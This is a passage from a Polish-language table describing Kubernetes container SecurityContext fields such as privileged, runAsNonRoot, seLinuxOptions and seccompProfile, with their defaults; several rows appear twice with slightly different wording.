| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>capabilities</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#capabilities-v1-core"><em>Capabilities</em></a><br><em>Więcej informacji o</em> <em><strong>Capabilities</strong></em></p> | **Uprawnienia do dodania/usunięcia podczas uruchamiania kontenerów**. Domyślnie używa domyślnego zestawu uprawnień. |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>privileged</strong></a><br><em>boolean</em></p> | Uruchom kontener w trybie uprzywilejowanym. Procesy w uprzywilejowanych kontenerach są zasadniczo **równoważne z rootem na hoście**. Domyślnie jest to fałsz. |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>procMount</strong></a><br><em>string</em></p> | procMount oznacza **typ montażu proc, który ma być używany dla kontenerów**. Domyślnie jest to DefaultProcMount, który używa domyślnych ustawień czasu wykonywania dla ścieżek tylko do odczytu i zamaskowanych ścieżek. |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>readOnlyRootFilesystem</strong></a><br><em>boolean</em></p> | Czy ten **kontener ma system plików root tylko do odczytu**. Domyślnie jest to fałsz. |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>procMount</strong></a><br><em>string</em></p> | procMount oznacza **typ montowania proc, który ma być używany dla kontenerów**. Domyślnie jest to DefaultProcMount, który używa domyślnych ustawień czasu wykonywania dla ścieżek tylko do odczytu i zamaskowanych ścieżek. |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>readOnlyRootFilesystem</strong></a><br><em>boolean</em></p> | Czy ten **kontener ma system plików tylko do odczytu**. Domyślnie jest to fałsz. |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>runAsGroup</strong></a><br><em>integer</em></p> | **GID do uruchomienia punktu wejścia** procesu kontenera. Używa domyślnej wartości czasu wykonywania, jeśli nie jest ustawione. |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>runAsNonRoot</strong></a><br><em>boolean</em></p> | Wskazuje, że kontener musi **działać jako użytkownik niebędący rootem**. Jeśli prawda, Kubelet zweryfikuje obraz w czasie wykonywania, aby upewnić się, że nie działa jako UID 0 (root) i nie uruchomi kontenera, jeśli tak jest. |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>runAsUser</strong></a><br><em>integer</em></p> | **UID do uruchomienia punktu wejścia** procesu kontenera. Domyślnie użytkownik określony w metadanych obrazu, jeśli nieokreślony. |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>seLinuxOptions</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#selinuxoptions-v1-core"><em>SELinuxOptions</em></a><br><em>Więcej informacji o</em> <em><strong>seLinux</strong></em></p> | **Kontekst SELinux, który ma być zastosowany do kontenera**. Jeśli nieokreślony, czas wykonywania kontenera przydzieli losowy kontekst SELinux dla każdego kontenera. |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>runAsNonRoot</strong></a><br><em>boolean</em></p> | Wskazuje, że kontener musi **działać jako użytkownik nie-root**. Jeśli prawda, Kubelet zweryfikuje obraz w czasie wykonywania, aby upewnić się, że nie działa jako UID 0 (root) i nie uruchomi kontenera, jeśli tak jest. |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>runAsUser</strong></a><br><em>integer</em></p> | **UID do uruchomienia punktu wejścia** procesu kontenera. Domyślnie użytkownik określony w metadanych obrazu, jeśli nie jest określony. |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>seLinuxOptions</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#selinuxoptions-v1-core"><em>SELinuxOptions</em></a><br><em>Więcej informacji o</em> <em><strong>seLinux</strong></em></p> | **Kontekst SELinux, który ma być zastosowany do kontenera**. Jeśli nie określono, czas wykonywania kontenera przydzieli losowy kontekst SELinux dla każdego kontenera. |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>seccompProfile</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#seccompprofile-v1-core"><em>SeccompProfile</em></a></p> | **Opcje seccomp** do użycia przez ten kontener. |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>windowsOptions</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#windowssecuritycontextoptions-v1-core"><em>WindowsSecurityContextOptions</em></a></p> | **Ustawienia specyficzne dla systemu Windows** stosowane do wszystkich kontenerów. |